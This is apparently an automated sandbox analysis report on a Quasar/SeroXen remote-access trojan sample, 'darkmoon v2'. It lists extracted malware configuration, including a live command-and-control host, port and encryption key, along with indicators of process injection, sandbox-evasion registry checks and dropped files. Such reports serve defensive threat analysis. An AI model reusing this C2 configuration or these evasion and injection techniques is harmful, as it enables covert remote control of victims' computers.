Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
02-06-2024 15:40
Static task
static1
Behavioral task
behavioral1
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
darkmoon v2/lib/DarkMoon_Gen.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral4
Sample
darkmoon v2/start.bat
Resource
win7-20240221-en
Behavioral task
behavioral5
Sample
darkmoon v2/start.bat
Resource
win10v2004-20240508-en
General
-
Target
darkmoon v2/start.bat
-
Size
82B
-
MD5
e6ede72374e4f7b8b907d4099c76f4d4
-
SHA1
146899cf959ada383b0a258b06da7963ef0d1c70
-
SHA256
c07fbd6c49d83eb8399435f9972551d2c73a29e5914a25640639191d187dd80d
-
SHA512
1b2d0cd4a5deae331ed16f383831f4ff7ba1c5b7f6906a35354dfd420ca44f17e3469157f2327685a6aa9773175425aa145faa2d4866030d131334eb36426fcc
Malware Config
Extracted
quasar
1.0.0.0
v2.2.6 | SeroXen
seroooooxeen.chickenkiller.com:5059
f953c0af-702a-46b5-ad07-d900b11c5cd9
-
encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
-
install_name
.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
Signatures
-
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral5/memory/4608-58-0x0000026272EA0000-0x000002627366A000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
Processes:
AyBYMBjlvU.bat.exe$sxr-powershell.exesvchost.exedescription pid process target process PID 836 created 616 836 AyBYMBjlvU.bat.exe winlogon.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 836 created 616 836 AyBYMBjlvU.bat.exe winlogon.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 5380 created 2748 5380 svchost.exe dllhost.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 4608 created 616 4608 $sxr-powershell.exe winlogon.exe PID 5380 created 5464 5380 svchost.exe dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
$sxr-mshta.exeAyBYMBjlvU.bat.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation AyBYMBjlvU.bat.exe -
Executes dropped EXE 5 IoCs
Processes:
AyBYMBjlvU.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exepid process 836 AyBYMBjlvU.bat.exe 4480 $sxr-mshta.exe 3524 $sxr-cmd.exe 4608 $sxr-powershell.exe 2292 $sxr-powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
DarkMoon_Gen.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" DarkMoon_Gen.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
-
Drops file in System32 directory 11 IoCs
Processes:
svchost.exesvchost.exesvchost.exeOfficeClickToRun.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe -
Suspicious use of SetThreadContext 18 IoCs
Processes:
AyBYMBjlvU.bat.exe$sxr-powershell.exedescription pid process target process PID 836 set thread context of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 set thread context of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 4608 set thread context of 1504 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 4504 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 3208 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 3204 4608 $sxr-powershell.exe dllhost.exe PID 836 set thread context of 4492 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 set thread context of 4228 836 AyBYMBjlvU.bat.exe dllhost.exe PID 4608 set thread context of 1564 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 856 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 5260 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 5504 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 4372 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 2748 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 4364 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 640 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 4676 4608 $sxr-powershell.exe dllhost.exe PID 4608 set thread context of 5464 4608 $sxr-powershell.exe dllhost.exe -
Drops file in Windows directory 7 IoCs
Processes:
WerFault.exeAyBYMBjlvU.bat.exedescription ioc process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File created C:\Windows\$sxr-powershell.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe AyBYMBjlvU.bat.exe File created C:\Windows\$sxr-mshta.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe AyBYMBjlvU.bat.exe File created C:\Windows\$sxr-cmd.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe AyBYMBjlvU.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 4080 2748 WerFault.exe dllhost.exe 1408 5464 WerFault.exe dllhost.exe -
Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exemousocoreworker.exesvchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Delays execution with timeout.exe 13 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 956 timeout.exe 4216 timeout.exe 6012 timeout.exe 4280 timeout.exe 5408 timeout.exe 3100 timeout.exe 1700 timeout.exe 336 timeout.exe 5924 timeout.exe 5924 timeout.exe 2356 timeout.exe 3616 timeout.exe 4056 timeout.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
Processes:
WerFault.exeWerFault.exemousocoreworker.exewmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 5912 taskkill.exe -
Modifies data under HKEY_USERS 54 IoCs
Processes:
OfficeClickToRun.exesvchost.exesvchost.exedescription ioc process Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={409365A8-F26E-4F8E-9DAD-5F806531037C}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717342923" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:42:04 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exe$sxr-mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\48bc7b06ea8322cd6af81d6a4508f3373b9b8b813bc998d6a224ceabe13c9f9a" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- = 01576c6e03b5da01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\de45915b4af60a762f0b2591d5295287ed7981bd2724e477804d93701911b09a" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- = 985a426e03b5da01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\48bc7b06ea8322cd6af81d6a4508f3373b9b8b813bc998d6a224ceabe13c9f9a" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- = 383dac6f03b5da01 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\96037348-cb76-46cd- = 32fdc46f03b5da01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7998d4b48e7fce37ee36d68bf0b4d8df1681d5baca950c6bf1818ec63907ddc6" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- = 5d91666e03b5da01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000000f073d6e03b5da010f073d6e03b5da010f073d6e03b5da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065